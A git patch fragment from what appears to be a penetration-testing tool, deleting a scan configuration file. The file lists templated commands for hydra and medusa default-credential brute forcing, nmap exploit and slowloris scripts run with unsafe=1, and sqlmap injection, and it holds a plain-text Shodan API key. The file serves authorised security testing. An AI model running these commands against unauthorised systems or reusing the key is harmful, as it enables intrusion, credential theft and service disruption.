[PORT] --script=smb-vuln-ms10-061.nse --script-args=unsafe=1", smb -smbenum=Run smbenum, bash ./scripts/smbenum.sh [IP], "netbios-ssn,microsoft-ds" -smbv2-enabled.nse=smbv2-enabled.nse, "nmap -Pn [IP] -p [PORT] --script=smbv2-enabled.nse --script-args=unsafe=1", smb -smtp-brute.nse=smtp-brute.nse, "nmap -Pn [IP] -p [PORT] --script=smtp-brute.nse --script-args=unsafe=1", smtp -smtp-commands.nse=smtp-commands.nse, "nmap -Pn [IP] -p [PORT] --script=smtp-commands.nse --script-args=unsafe=1", smtp -smtp-enum-expn=Enumerate SMTP users (EXPN), smtp-user-enum -M EXPN -U /usr/share/metasploit-framework/data/wordlists/unix_users.txt -t [IP] -p [PORT], smtp -smtp-enum-rcpt=Enumerate SMTP users (RCPT), smtp-user-enum -M RCPT -U /usr/share/metasploit-framework/data/wordlists/unix_users.txt -t [IP] -p [PORT], smtp -smtp-enum-users.nse=smtp-enum-users.nse, "nmap -Pn [IP] -p [PORT] --script=smtp-enum-users.nse --script-args=unsafe=1", smtp -smtp-enum-vrfy=Enumerate SMTP users (VRFY), smtp-user-enum -M VRFY -U /usr/share/metasploit-framework/data/wordlists/unix_users.txt -t [IP] -p [PORT], smtp -smtp-open-relay.nse=smtp-open-relay.nse, "nmap -Pn [IP] -p [PORT] --script=smtp-open-relay.nse --script-args=unsafe=1", smtp -smtp-strangeport.nse=smtp-strangeport.nse, "nmap -Pn [IP] -p [PORT] --script=smtp-strangeport.nse --script-args=unsafe=1", smtp -smtp-vuln-cve2010-4344.nse=smtp-vuln-cve2010-4344.nse, "nmap -Pn [IP] -p [PORT] --script=smtp-vuln-cve2010-4344.nse --script-args=unsafe=1", smtp -smtp-vuln-cve2011-1720.nse=smtp-vuln-cve2011-1720.nse, "nmap -Pn [IP] -p [PORT] --script=smtp-vuln-cve2011-1720.nse --script-args=unsafe=1", smtp -smtp-vuln-cve2011-1764.nse=smtp-vuln-cve2011-1764.nse, "nmap -Pn [IP] -p [PORT] --script=smtp-vuln-cve2011-1764.nse --script-args=unsafe=1", smtp -snmp-brute=Bruteforce community strings (medusa), bash -c \"medusa -h [IP] -u root -P ./wordlists/snmp-default.txt -M snmp | grep SUCCESS\", "snmp,snmptrap" -snmp-brute.nse=snmp-brute.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-brute.nse --script-args=unsafe=1", snmp -snmp-default=Check for default community strings, python ./scripts/snmpbrute.py -t [IP] -p [PORT] -f ./wordlists/snmp-default.txt -b --no-colours, "snmp,snmptrap" -snmp-hh3c-logins.nse=snmp-hh3c-logins.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-hh3c-logins.nse --script-args=unsafe=1", snmp -snmp-interfaces.nse=snmp-interfaces.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-interfaces.nse --script-args=unsafe=1", snmp -snmp-ios-config.nse=snmp-ios-config.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-ios-config.nse --script-args=unsafe=1", snmp -snmp-netstat.nse=snmp-netstat.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-netstat.nse --script-args=unsafe=1", snmp -snmp-processes.nse=snmp-processes.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-processes.nse --script-args=unsafe=1", snmp -snmp-sysdescr.nse=snmp-sysdescr.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-sysdescr.nse --script-args=unsafe=1", snmp -snmp-win32-services.nse=snmp-win32-services.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-win32-services.nse --script-args=unsafe=1", snmp -snmp-win32-shares.nse=snmp-win32-shares.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-win32-shares.nse --script-args=unsafe=1", snmp -snmp-win32-software.nse=snmp-win32-software.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-win32-software.nse --script-args=unsafe=1", snmp -snmp-win32-users.nse=snmp-win32-users.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-win32-users.nse --script-args=unsafe=1", snmp -snmpcheck=Run snmpcheck, snmpcheck -t [IP], "snmp,snmptrap" -ssh-default=Check for default ssh credentials, hydra -s [PORT] -C ./wordlists/ssh-betterdefaultpasslist.txt -u -t 4 -o \"[OUTPUT].txt\" -f [IP] ssh, ssh -ssh-default-root=Check for default ssh root credentials, hydra -s [PORT] -C ./wordlists/root-userpass.txt -u -t 4 -o \"[OUTPUT].txt\" -f [IP] ssh, ssh -ssh-default-router=Check for default ssh router credentials, hydra -s [PORT] -C ./wordlists/routers-userpass.txt -u -t 4 -o \"[OUTPUT].txt\" -f [IP] ssh, ssh -sslscan=Run sslscan, sslscan --no-failed [IP]:[PORT], "https,ssl,https-alt" -sslyze=Run sslyze, sslyze --regular [IP]:[PORT], "https,ssl,ms-wbt-server,imap,pop3,smtp,https-alt" -telnet-default=Check for default telnet credentials, hydra -s [PORT] -C ./wordlists/telnet-betterdefaultpasslist.txt -u -t 4 -o \"[OUTPUT].txt\" -f [IP] telnet, telnet -telnet-default-root=Check for default telnet root credentials, hydra -s [PORT] -C ./wordlists/root-userpass.txt -u -t 4 -o \"[OUTPUT].txt\" -f [IP] telnet, telnet -telnet-default-router=Check for default telnet router credentials, hydra -s [PORT] -C ./wordlists/routers-userpass.txt -u -t 4 -o \"[OUTPUT].txt\" -f [IP] telnet, telnet -tftp-enum.nse=tftp-enum.nse, "nmap -Pn [IP] -p [PORT] --script=tftp-enum.nse --script-args=unsafe=1", tftp -theharvester=Run theharvester, theharvester -d [IP]:[PORT] -b all -n -c -t -h, dns -vnc-brute.nse=vnc-brute.nse, "nmap -Pn [IP] -p [PORT] --script=vnc-brute.nse --script-args=unsafe=1", vnc -vnc-default=Check for default VNC credentials, hydra -s [PORT] -C ./wordlists/vnc-betterdefaultpasslist.txt -u -o \"[OUTPUT].txt\" -f [IP] vnc, vnc -vnc-info.nse=vnc-info.nse, "nmap -Pn [IP] -p [PORT] --script=vnc-info.nse --script-args=unsafe=1", vnc -wafw00f=Run wafw00f, wafw00f [IP]:[PORT], "https,ssl,https-alt" -whatweb=Run whatweb, "whatweb [IP]:[PORT] --color=never --log-brief=[OUTPUT].txt", "http,https,ssl,https-alt" -wpscan=Run wpscan, wpscan --url [IP], "http,https,ssl,https-alt" - -[PortTerminalActions] -firefox=Open with firefox, firefox [IP]:[PORT], -ftp=Open with ftp client, ftp [IP] [PORT], [term] ftp -mssql=Open with mssql client (as sa), [term] python /usr/share/doc/python-impacket-doc/examples/mssqlclient.py -p [PORT] sa@[IP], "mys-sql-s,codasrv-se" -mysql=Open with mysql client (as root), "[term] mysql -u root -h [IP] --port=[PORT] -p", mysql -netcat=Open with netcat, [term] nc -v [IP] [PORT], -psql=Open with postgres client (as postgres), [term] psql -h [IP] -p [PORT] -U postgres, postgres -rdesktop=Open with rdesktop, [term] rdesktop [IP]:[PORT], ms-wbt-server -rlogin=Open with rlogin, [term] rlogin -i root -p [PORT] [IP], login -rpcclient=Open with rpcclient (NULL session), [term] rpcclient [IP] -p [PORT] -U%, "netbios-ssn,microsoft-ds" -rsh=Open with rsh, rsh -l root [IP], [term] shell -ssh=Open with ssh client (as root), [term] ssh root@[IP] -p [PORT], ssh -telnet=Open with telnet, [term] telnet [IP] [PORT], -vncviewer=Open with vncviewer, vncviewer [IP]:[PORT], vnc -xephyr=Open with Xephyr, [term] Xephyr -query [IP] :1, xdmcp -xterm=Open terminal, [term] bash, - -[SchedulerSettings] -screenshooter="http,https,ssl,http-proxy,http-alt,https-alt", tcp - -[StagedNmapSettings] -stage1-ports="T:80,81,443,4443,8080,8081,8082" -stage2-ports="T:25,135,137,139,445,1433,3306,5432,U:137,161,162,1434" -stage3-ports="Vulners,CVE" -stage4-ports="T:23,21,22,110,111,2049,3389,8080,U:500,5060" -stage5-ports="T:0-20,24,26-79,81-109,112-134,136,138,140-442,444,446-1432,1434-2048,2050-3305,3307-3388,3390-5431,5433-8079,8081-29999" -stage6-ports=T:30000-65535 - -[ToolSettings] -cutycapt-path=/usr/bin/cutycapt -hydra-path=/usr/bin/hydra -nmap-path=/sbin/nmap -pyshodan-api-key=SNYEkE0gdwNu9BRURVDjWPXePCquXqht -texteditor-path=/usr/bin/leafpad From 25a05861365857a9e610d6335606e302e3319e51 Mon Sep 17 00:00:00 2001 From: Tdeforge <75676514+Tdeforge@users.noreply.github.com> Date: Thu, 26 May 2022 10:26:20 -0500 Subject: [PATCH 426/450] Delete Large_Scope.conf removing a deprecated file, replaced by large_scope_custom_ports.conf --- custom_configs/Large_Scope.conf | 322 -------------------------------- 1 file changed, 322 deletions(-) delete mode 100644 custom_configs/Large_Scope.conf diff --git a/custom_configs/Large_Scope.conf b/custom_configs/Large_Scope.conf deleted file mode 100644 index c7083e5c..00000000 --- a/custom_configs/Large_Scope.conf +++ /dev/null @@ -1,322 +0,0 @@ -[BruteSettings] -default-password=password -default-username=root -no-password-services="oracle-sid,rsh,smtp-enum" -no-username-services="cisco,cisco-enable,oracle-listener,s7-300,snmp,vnc" -password-wordlist-path=/usr/share/wordlists/ -services="asterisk,afp,cisco,cisco-enable,cvs,firebird,ftp,ftps,http-head,http-get,https-head,https-get,http-get-form,https-get-form,http-post-form,https-post-form,http-proxy,http-proxy-urlenum,icq,imap,imaps,irc,ldap2,ldap2s,ldap3,ldap3s,ldap3-crammd5,ldap3-crammd5s,ldap3-digestmd5,ldap3-digestmd5s,mssql,mysql,ncp,nntp,oracle-listener,oracle-sid,pcanywhere,pcnfs,pop3,pop3s,postgres,rdp,rexec,rlogin,rsh,s7-300,sip,smb,smtp,smtps,smtp-enum,snmp,socks5,ssh,sshkey,svn,teamspeak,telnet,telnets,vmauthd,vnc,xmpp" -store-cleartext-passwords-on-exit=True -username-wordlist-path=/usr/share/wordlists/ - -[GUISettings] -process-tab-column-widths="125,0,100,150,100,0,100,100,0,0,0,0,0,0,0,483,100" -process-tab-detail=false - -[GeneralSettings] -default-terminal=xterm -enable-scheduler=True -enable-scheduler-on-import=False -max-fast-processes=5 -max-slow-processes=5 -screenshooter-timeout=15000 -tool-output-black-background=False -web-services="http,https,ssl,soap,http-proxy,http-alt,https-alt" - -[HostActions] -icmp-timestamp=ICMP timestamp, hping3 -V -C 13 -c 1 [IP] -nmap-discover=Run nmap-discover, nmap -n -sV -O --version-light -T4 [IP] -oA \"[OUTPUT]\" -nmap-fast-tcp=Run nmap (fast TCP), nmap -Pn -sV -sC -F -T4 -vvvv [IP] -oA \"[OUTPUT]\" -nmap-fast-udp=Run nmap (fast UDP), "nmap -n -Pn -sU -F --min-rate=1000 -vvvvv [IP] -oA \"[OUTPUT]\"" -nmap-full-tcp=Run nmap (full TCP), nmap -Pn -sV -sC -O -p- -T4 -vvvvv [IP] -oA \"[OUTPUT]\" -nmap-full-udp=Run nmap (full UDP), nmap -n -Pn -sU -p- -T4 -vvvvv [IP] -oA \"[OUTPUT]\" -nmap-script-Vulners=Run nmap script - Vulners, "nmap -sV --script=./scripts/nmap/vulners.nse -vvvv [IP] -oA \"[OUTPUT]\"" -nmap-udp-1000=Run nmap (top 1000 quick UDP), "nmap -n -Pn -sU --min-rate=1000 -vvvvv [IP] -oA \"[OUTPUT]\"" -python-script-PyShodan=Run PyShodan python script, /bin/echo PythonScript pyShodan -python-script-macvendors=Run macvendors python script, /bin/echo PythonScript macvendors -unicornscan-full-udp=Run unicornscan (full UDP), unicornscan -mU -Ir 1000 [IP]:a -v - -[PortActions] -banner=Grab banner, bash -c \"echo \"\" | nc -v -n -w1 [IP] [PORT]\", -broadcast-ms-sql-discover.nse=broadcast-ms-sql-discover.nse, "nmap -Pn [IP] -p [PORT] --script=broadcast-ms-sql-discover.nse --script-args=unsafe=1", ms-sql -citrix-brute-xml.nse=citrix-brute-xml.nse, "nmap -Pn [IP] -p [PORT] --script=citrix-brute-xml.nse --script-args=unsafe=1", citrix -citrix-enum-apps-xml.nse=citrix-enum-apps-xml.nse, "nmap -Pn [IP] -p [PORT] --script=citrix-enum-apps-xml.nse --script-args=unsafe=1", citrix -citrix-enum-apps.nse=citrix-enum-apps.nse, "nmap -Pn [IP] -p [PORT] --script=citrix-enum-apps.nse --script-args=unsafe=1", citrix -citrix-enum-servers-xml.nse=citrix-enum-servers-xml.nse, "nmap -Pn [IP] -p [PORT] --script=citrix-enum-servers-xml.nse --script-args=unsafe=1", citrix -citrix-enum-servers.nse=citrix-enum-servers.nse, "nmap -Pn [IP] -p [PORT] --script=citrix-enum-servers.nse --script-args=unsafe=1", citrix -cloudfail=Run cloudfail, python3.7 scripts/CloudFail/cloudfail.py --target [IP] --tor, cloudfail -dirbuster=Launch dirbuster, java -Xmx256M -jar /usr/share/dirbuster/DirBuster-1.0-RC1.jar -u http://[IP]:[PORT]/, "http,https,ssl,soap,http-proxy,http-alt,https-alt" -dnsmap=Run dnsmap, dnsmap [IP] -w ./wordlists/gvit_subdomain_wordlist.txt -r [OUTPUT], dnsmap -enum4linux=Run enum4linux, enum4linux [IP], "netbios-ssn,microsoft-ds" -finger=Enumerate users (finger), ./scripts/fingertool.sh [IP], finger -ftp-anon.nse=ftp-anon.nse, "nmap -Pn [IP] -p [PORT] --script=ftp-anon.nse --script-args=unsafe=1", ftp -ftp-bounce.nse=ftp-bounce.nse, "nmap -Pn [IP] -p [PORT] --script=ftp-bounce.nse --script-args=unsafe=1", ftp -ftp-brute.nse=ftp-brute.nse, "nmap -Pn [IP] -p [PORT] --script=ftp-brute.nse --script-args=unsafe=1", ftp -ftp-default=Check for default ftp credentials, hydra -s [PORT] -C ./wordlists/ftp-betterdefaultpasslist.txt -u -o \"[OUTPUT].txt\" -f [IP] ftp, ftp -ftp-libopie.nse=ftp-libopie.nse, "nmap -Pn [IP] -p [PORT] --script=ftp-libopie.nse --script-args=unsafe=1", ftp -ftp-proftpd-backdoor.nse=ftp-proftpd-backdoor.nse, "nmap -Pn [IP] -p [PORT] --script=ftp-proftpd-backdoor.nse --script-args=unsafe=1", ftp -ftp-vsftpd-backdoor.nse=ftp-vsftpd-backdoor.nse, "nmap -Pn [IP] -p [PORT] --script=ftp-vsftpd-backdoor.nse --script-args=unsafe=1", ftp -ftp-vuln-cve2010-4221.nse=ftp-vuln-cve2010-4221.nse, "nmap -Pn [IP] -p [PORT] --script=ftp-vuln-cve2010-4221.nse --script-args=unsafe=1", ftp -http-adobe-coldfusion-apsa1301.nse=http-adobe-coldfusion-apsa1301.nse, "nmap -Pn [IP] -p [PORT] --script=http-adobe-coldfusion-apsa1301.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-affiliate-id.nse=http-affiliate-id.nse, "nmap -Pn [IP] -p [PORT] --script=http-affiliate-id.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-apache-negotiation.nse=http-apache-negotiation.nse, "nmap -Pn [IP] -p [PORT] --script=http-apache-negotiation.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-auth-finder.nse=http-auth-finder.nse, "nmap -Pn [IP] -p [PORT] --script=http-auth-finder.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-auth.nse=http-auth.nse, "nmap -Pn [IP] -p [PORT] --script=http-auth.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-awstatstotals-exec.nse=http-awstatstotals-exec.nse, "nmap -Pn [IP] -p [PORT] --script=http-awstatstotals-exec.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-axis2-dir-traversal.nse=http-axis2-dir-traversal.nse, "nmap -Pn [IP] -p [PORT] --script=http-axis2-dir-traversal.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-backup-finder.nse=http-backup-finder.nse, "nmap -Pn [IP] -p [PORT] --script=http-backup-finder.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-barracuda-dir-traversal.nse=http-barracuda-dir-traversal.nse, "nmap -Pn [IP] -p [PORT] --script=http-barracuda-dir-traversal.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-brute.nse=http-brute.nse, "nmap -Pn [IP] -p [PORT] --script=http-brute.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-cakephp-version.nse=http-cakephp-version.nse, "nmap -Pn [IP] -p [PORT] --script=http-cakephp-version.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-chrono.nse=http-chrono.nse, "nmap -Pn [IP] -p [PORT] --script=http-chrono.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-coldfusion-subzero.nse=http-coldfusion-subzero.nse, "nmap -Pn [IP] -p [PORT] --script=http-coldfusion-subzero.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-comments-displayer.nse=http-comments-displayer.nse, "nmap -Pn [IP] -p [PORT] --script=http-comments-displayer.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-config-backup.nse=http-config-backup.nse, "nmap -Pn [IP] -p [PORT] --script=http-config-backup.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-cors.nse=http-cors.nse, "nmap -Pn [IP] -p [PORT] --script=http-cors.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-csrf.nse=http-csrf.nse, "nmap -Pn [IP] -p [PORT] --script=http-csrf.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-date.nse=http-date.nse, "nmap -Pn [IP] -p [PORT] --script=http-date.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-default-accounts.nse=http-default-accounts.nse, "nmap -Pn [IP] -p [PORT] --script=http-default-accounts.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-devframework.nse=http-devframework.nse, "nmap -Pn [IP] -p [PORT] --script=http-devframework.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-dlink-backdoor.nse=http-dlink-backdoor.nse, "nmap -Pn [IP] -p [PORT] --script=http-dlink-backdoor.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-dombased-xss.nse=http-dombased-xss.nse, "nmap -Pn [IP] -p [PORT] --script=http-dombased-xss.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-domino-enum-passwords.nse=http-domino-enum-passwords.nse, "nmap -Pn [IP] -p [PORT] --script=http-domino-enum-passwords.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-drupal-enum-users.nse=http-drupal-enum-users.nse, "nmap -Pn [IP] -p [PORT] --script=http-drupal-enum-users.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-drupal-modules.nse=http-drupal-modules.nse, "nmap -Pn [IP] -p [PORT] --script=http-drupal-modules.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-email-harvest.nse=http-email-harvest.nse, "nmap -Pn [IP] -p [PORT] --script=http-email-harvest.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-enum.nse=http-enum.nse, "nmap -Pn [IP] -p [PORT] --script=http-enum.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-errors.nse=http-errors.nse, "nmap -Pn [IP] -p [PORT] --script=http-errors.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-exif-spider.nse=http-exif-spider.nse, "nmap -Pn [IP] -p [PORT] --script=http-exif-spider.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-favicon.nse=http-favicon.nse, "nmap -Pn [IP] -p [PORT] --script=http-favicon.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-feed.nse=http-feed.nse, "nmap -Pn [IP] -p [PORT] --script=http-feed.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-fileupload-exploiter.nse=http-fileupload-exploiter.nse, "nmap -Pn [IP] -p [PORT] --script=http-fileupload-exploiter.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-form-brute.nse=http-form-brute.nse, "nmap -Pn [IP] -p [PORT] --script=http-form-brute.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-form-fuzzer.nse=http-form-fuzzer.nse, "nmap -Pn [IP] -p [PORT] --script=http-form-fuzzer.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-frontpage-login.nse=http-frontpage-login.nse, "nmap -Pn [IP] -p [PORT] --script=http-frontpage-login.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-generator.nse=http-generator.nse, "nmap -Pn [IP] -p [PORT] --script=http-generator.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-git.nse=http-git.nse, "nmap -Pn [IP] -p [PORT] --script=http-git.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-gitweb-projects-enum.nse=http-gitweb-projects-enum.nse, "nmap -Pn [IP] -p [PORT] --script=http-gitweb-projects-enum.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-google-malware.nse=http-google-malware.nse, "nmap -Pn [IP] -p [PORT] --script=http-google-malware.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-grep.nse=http-grep.nse, "nmap -Pn [IP] -p [PORT] --script=http-grep.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-headers.nse=http-headers.nse, "nmap -Pn [IP] -p [PORT] --script=http-headers.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-huawei-hg5xx-vuln.nse=http-huawei-hg5xx-vuln.nse, "nmap -Pn [IP] -p [PORT] --script=http-huawei-hg5xx-vuln.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-icloud-findmyiphone.nse=http-icloud-findmyiphone.nse, "nmap -Pn [IP] -p [PORT] --script=http-icloud-findmyiphone.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-icloud-sendmsg.nse=http-icloud-sendmsg.nse, "nmap -Pn [IP] -p [PORT] --script=http-icloud-sendmsg.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-iis-short-name-brute.nse=http-iis-short-name-brute.nse, "nmap -Pn [IP] -p [PORT] --script=http-iis-short-name-brute.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-iis-webdav-vuln.nse=http-iis-webdav-vuln.nse, "nmap -Pn [IP] -p [PORT] --script=http-iis-webdav-vuln.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-joomla-brute.nse=http-joomla-brute.nse, "nmap -Pn [IP] -p [PORT] --script=http-joomla-brute.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-litespeed-sourcecode-download.nse=http-litespeed-sourcecode-download.nse, "nmap -Pn [IP] -p [PORT] --script=http-litespeed-sourcecode-download.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-majordomo2-dir-traversal.nse=http-majordomo2-dir-traversal.nse, "nmap -Pn [IP] -p [PORT] --script=http-majordomo2-dir-traversal.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-malware-host.nse=http-malware-host.nse, "nmap -Pn [IP] -p [PORT] --script=http-malware-host.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-method-tamper.nse=http-method-tamper.nse, "nmap -Pn [IP] -p [PORT] --script=http-method-tamper.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-methods.nse=http-methods.nse, "nmap -Pn [IP] -p [PORT] --script=http-methods.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-mobileversion-checker.nse=http-mobileversion-checker.nse, "nmap -Pn [IP] -p [PORT] --script=http-mobileversion-checker.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-ntlm-info.nse=http-ntlm-info.nse, "nmap -Pn [IP] -p [PORT] --script=http-ntlm-info.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-open-proxy.nse=http-open-proxy.nse, "nmap -Pn [IP] -p [PORT] --script=http-open-proxy.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-open-redirect.nse=http-open-redirect.nse, "nmap -Pn [IP] -p [PORT] --script=http-open-redirect.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-passwd.nse=http-passwd.nse, "nmap -Pn [IP] -p [PORT] --script=http-passwd.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-php-version.nse=http-php-version.nse, "nmap -Pn [IP] -p [PORT] --script=http-php-version.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-phpmyadmin-dir-traversal.nse=http-phpmyadmin-dir-traversal.nse, "nmap -Pn [IP] -p [PORT] --script=http-phpmyadmin-dir-traversal.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-phpself-xss.nse=http-phpself-xss.nse, "nmap -Pn [IP] -p [PORT] --script=http-phpself-xss.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-proxy-brute.nse=http-proxy-brute.nse, "nmap -Pn [IP] -p [PORT] --script=http-proxy-brute.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-put.nse=http-put.nse, "nmap -Pn [IP] -p [PORT] --script=http-put.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-qnap-nas-info.nse=http-qnap-nas-info.nse, "nmap -Pn [IP] -p [PORT] --script=http-qnap-nas-info.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-referer-checker.nse=http-referer-checker.nse, "nmap -Pn [IP] -p [PORT] --script=http-referer-checker.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-rfi-spider.nse=http-rfi-spider.nse, "nmap -Pn [IP] -p [PORT] --script=http-rfi-spider.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-robots.txt.nse=http-robots.txt.nse, "nmap -Pn [IP] -p [PORT] --script=http-robots.txt.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-robtex-reverse-ip.nse=http-robtex-reverse-ip.nse, "nmap -Pn [IP] -p [PORT] --script=http-robtex-reverse-ip.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-robtex-shared-ns.nse=http-robtex-shared-ns.nse, "nmap -Pn [IP] -p [PORT] --script=http-robtex-shared-ns.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-server-header.nse=http-server-header.nse, "nmap -Pn [IP] -p [PORT] --script=http-server-header.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-sitemap-generator.nse=http-sitemap-generator.nse, "nmap -Pn [IP] -p [PORT] --script=http-sitemap-generator.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-slowloris-check.nse=http-slowloris-check.nse, "nmap -Pn [IP] -p [PORT] --script=http-slowloris-check.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-slowloris.nse=http-slowloris.nse, "nmap -Pn [IP] -p [PORT] --script=http-slowloris.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-sql-injection.nse=http-sql-injection.nse, "nmap -Pn [IP] -p [PORT] --script=http-sql-injection.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-sqlmap=mysql-sqlmap, "sqlmap -v 2 --url=http://[IP] --user-agent=SQLMAP --delay=1 --timeout=15 --retries=2 --keep-alive --threads=5 --eta --batch --level=5 --risk=3 --banner --is-dba --dbs --tables --technique=BEUST -s [OUTPUT] --flush-session -t [OUTPUT] --fresh-queries > [OUTPUT]", mysql -http-stored-xss.nse=http-stored-xss.nse, "nmap -Pn [IP] -p [PORT] --script=http-stored-xss.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-title.nse=http-title.nse, "nmap -Pn [IP] -p [PORT] --script=http-title.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-tplink-dir-traversal.nse=http-tplink-dir-traversal.nse, "nmap -Pn [IP] -p [PORT] --script=http-tplink-dir-traversal.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-trace.nse=http-trace.nse, "nmap -Pn [IP] -p [PORT] --script=http-trace.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-traceroute.nse=http-traceroute.nse, "nmap -Pn [IP] -p [PORT] --script=http-traceroute.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" 